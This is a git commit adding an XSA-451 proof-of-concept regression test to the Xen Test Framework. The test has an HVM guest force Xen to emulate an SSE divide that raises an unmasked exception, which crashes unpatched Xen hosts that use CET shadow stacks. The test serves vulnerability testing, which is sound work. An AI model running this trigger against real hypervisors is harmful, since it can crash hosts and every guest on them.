From: Andrew Cooper Date: Wed, 21 Feb 2024 16:59:29 +0000 (+0000) Subject: XSA-451 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=ad98fbacc7ed6b709f87bf0ef64b81eafb557cce;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-451 PoC Signed-off-by: Andrew Cooper --- diff --git a/arch/x86/include/arch/lib.h b/arch/x86/include/arch/lib.h index 0a9b23d..600e534 100644 --- a/arch/x86/include/arch/lib.h +++ b/arch/x86/include/arch/lib.h @@ -305,6 +305,20 @@ static inline void write_cr8(unsigned long cr8) asm volatile ("mov %0, %%cr8" :: "r" (cr8)); } +static inline uint32_t read_mxcsr(void) +{ + uint32_t mxcsr; + + asm volatile ("stmxcsr %0" : "=m" (mxcsr)); + + return mxcsr; +} + +static inline void write_mxcsr(uint32_t mxcsr) +{ + asm volatile ("ldmxcsr %0" :: "m" (mxcsr)); +} + static inline void invlpg(const void *va) { asm volatile ("invlpg (%0)" :: "r" (va)); diff --git a/arch/x86/include/arch/processor.h b/arch/x86/include/arch/processor.h index 1c7e655..9cf2fe0 100644 --- a/arch/x86/include/arch/processor.h +++ b/arch/x86/include/arch/processor.h @@ -85,6 +85,17 @@ #define _XSTATE_LWP 62 #define XSTATE_LWP (1ULL << _XSTATE_LWP) +/* + * Media eXtentions Control and Status Register. + */ +#define X86_MXCSR_IE 0x00000001 /* Invalid-Operation Exception */ +#define X86_MXCSR_DE 0x00000002 /* Denormal-Operation Exception */ +#define X86_MXCSR_ZE 0x00000004 /* Zero-divide Exception */ +#define X86_MXCSR_OE 0x00000008 /* Overflow Exception */ +#define X86_MXCSR_UE 0x00000010 /* Underflow Exception */ +#define X86_MXCSR_PE 0x00000020 /* Precision Exception */ +#define X86_MXCSR_STATUS_MASK 0x0000003f /* `- All of the above */ + /* * Exception mnemonics. */ diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 892a9e4..ab88c15 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -167,6 +167,8 @@ states. @subpage test-xsa-444 - x86/AMD: Debug Mask handling. +@subpage test-xsa-451 - x86: shadow stack vs exceptions from emulation stubs. + @section index-utility Utilities diff --git a/tests/xsa-451/Makefile b/tests/xsa-451/Makefile new file mode 100644 index 0000000..f904866 --- /dev/null +++ b/tests/xsa-451/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-451 +CATEGORY := xsa +TEST-ENVS := hvm64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-451/main.c b/tests/xsa-451/main.c new file mode 100644 index 0000000..896d370 --- /dev/null +++ b/tests/xsa-451/main.c @@ -0,0 +1,71 @@ +/** + * @file tests/xsa-451/main.c + * @ref test-xsa-451 + * + * @page test-xsa-451 XSA-451 + * + * Advisory: [XSA-451](https://xenbits.xen.org/xsa/advisory-451.html) + * + * When CET Shadow Stack support was added to Xen, the logic which performs + * exception recovery from the emulation stubs wasn't adjusted correctly. + * + * As a consequence, when an exception is taken in the emulation stubs and Xen + * is using CET-SS, Xen will crash with a control-flow integrity violation. + * + * From a testing point of view, we have no idea if Xen is using CET Shadow + * Stacks or not. All we can do is emulate an instruction which will generate + * an unmasked exception, and hope that we're still alive to report success. + * + * @see tests/xsa-451/main.c + */ +#include + +const char test_title[] = "XSA-451 PoC"; +bool test_needs_fep = true; + +void test_main(void) +{ + exinfo_t fault = 0; + unsigned int status; + + /* Enable SEE, clear and unmask all exceptions. */ + write_cr4(read_cr4() | X86_CR4_OSFXSR | X86_CR4_OSXMMEXCPT); + write_mxcsr(0); + + /* + * As we're compiled with -mno-sse, SSE register constraints aren't + * tolerated. Just use %xmm0 behind the back of the compiler; it's not + * going to interfere with anything. + */ + asm volatile ("xorps %%xmm0, %%xmm0\n\t" + _ASM_XEN_FEP "1: divss %%xmm0, %%xmm0\n\t" + "2: " + _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec]) + : "+a" (fault) + : [rec] "p" (ex_record_fault_eax)); + + /* + * If we're still alive here, Xen didn't crash. Cross-check that the + * emulator did hand us back the right exception. + * + * Note: 0.0 / 0.0 yields #I (Invalid), not #Z (Zero-div). + */ + if ( fault != EXINFO_SYM(XM, 0) ) + return xtf_error("Error: expecting #XM, got %pe\n", _p(fault)); + + status = read_mxcsr() & X86_MXCSR_STATUS_MASK; + if ( status != X86_MXCSR_IE ) + return xtf_error("Error: expecting #I, got %#x\n", status); + + xtf_success("Success: not vulnerable to XSA-451\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */